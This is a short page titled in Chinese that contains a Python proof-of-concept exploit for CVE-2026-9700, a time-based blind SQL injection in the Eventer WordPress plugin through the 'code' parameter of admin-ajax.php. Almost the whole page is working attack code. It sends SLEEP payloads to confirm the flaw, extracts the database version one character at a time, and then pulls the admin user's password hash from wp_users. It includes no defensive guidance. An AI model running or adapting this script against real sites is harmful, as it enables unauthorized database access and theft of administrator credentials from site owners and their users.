CVE-2026-9700：WordPress Eventer插件SQL注入漏洞

# CVE-2026-9700 PoC - Eventer WordPress Plugin SQL Injection # Vulnerability: Time-based Blind SQL Injection via 'code' parameter # Affected: Eventer Plugin <= 4.4.2 import requests import time import sys TARGET_URL = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # Adjust the endpoint based on the actual Eventer plugin AJAX handler # The vulnerable 'code' parameter is typically processed via WordPress AJAX def check_injection(url, payload): """Send SQL injection payload and measure response time""" data = { "action": "eventer_get_event", # Adjust action name as needed "code": payload } start_time = time.time() try: response = requests.post(url, data=data, timeout=30) except requests.exceptions.Timeout: return True # Timeout indicates successful time-based injection elapsed = time.time() - start_time return elapsed > 4 # If response delayed > 4 seconds, injection successful def extract_data(url, query): """Extract data using time-based blind SQL injection""" result = "" for position in range(1, 50): for ascii_val in range(32, 127): # MySQL time-based injection payload payload = f"1' AND (SELECT IF(SUBSTRING(({query}),{position},1)='{chr(ascii_val)}',SLEEP(5),0))-- -" if check_injection(url, payload): result += chr(ascii_val) sys.stdout.write(chr(ascii_val)) sys.stdout.flush() break else: break return result # Step 1: Verify the vulnerability print("[*] Testing for SQL injection vulnerability...") test_payload = "1' AND SLEEP(5)-- -" if check_injection(TARGET_URL, test_payload): print("[+] Vulnerability confirmed! Target is vulnerable to time-based SQLi.") # Step 2: Extract database version print("[*] Extracting database version...") version = extract_data(TARGET_URL, "SELECT VERSION()") print(f"\n[+] Database version: {version}") # Step 3: Extract admin credentials print("[*] Extracting admin user credentials...") creds = extract_data(TARGET_URL, "SELECT user_pass FROM wp_users WHERE user_login='admin' LIMIT 1") print(f"\n[+] Admin password hash: {creds}") else: print("[-] Target does not appear to be vulnerable.")